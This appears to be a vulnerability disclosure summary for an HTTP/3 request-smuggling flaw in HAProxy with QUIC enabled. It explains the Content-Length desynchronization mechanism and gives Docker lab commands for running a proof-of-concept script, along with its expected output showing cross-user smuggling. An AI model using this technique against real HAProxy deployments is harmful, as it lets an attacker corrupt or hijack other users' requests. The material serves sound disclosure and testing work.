
One zero-byte QUIC packet is enough to desynchronize HAProxy's backend connection pool and smuggle HTTP requests across unrelated users — even users on a completely different frontend protocol.
Full post here : https://r3verii.github.io/cve/2026/04/14/haproxy-h3-standalone-fin-smuggling.html
A vulnerability in HAProxy's HTTP/3 implementation allows an attacker to send an HTTP request with a Content-Length header that does not match the actual body size. HAProxy forwards this malformed request to the backend over HTTP/1.1 with the declared Content-Length but zero body bytes. When the backend sends an early response (e.g., 301 redirect) and drains the pending body from the TCP connection, it consumes bytes belonging to the next HTTP request on that connection — which may originate from a different user.
This results in cross-user HTTP request smuggling via HAProxy's backend connection pool.
Affected: HAProxy with QUIC/H3 support (USE_QUIC=1). Tested on HAProxy 3.0.18.
Configuration required: http-reuse always (non-default, but common in production)
Docker Compose with 3 services:
http-reuse always)autoindex on on /photos directory, /status returns 200# 1. Start the lab (HAProxy build takes ~10 min first time)
cd poc/
docker compose up -d --build
# 2. Run the PoC in continuous mode
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --interval 3
# 3. From a browser, navigate to https://<host>:10002/status
# (accept self-signed cert, use --ignore-certificate-errors in Chrome)
# Refresh repeatedly. ~50% of responses will be 400 Bad Request.
# 4. Stop the PoC (Ctrl+C). All browser responses return to normal (200).
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --once
Expected output:
[1] Sending poison request (H3/QUIC)...
-> 301 received. Backend connection pooled with pending body drain.
[2] Waiting 0.5s for HAProxy to pool the connection...
[3] Sending victim GET /status from SEPARATE QUIC connection...
-> Response: HTTP 400
[!] SMUGGLING CONFIRMED
[!] Victim on separate connection got 400 instead of 200
[!] Backend parsed victim's request as body of poison POST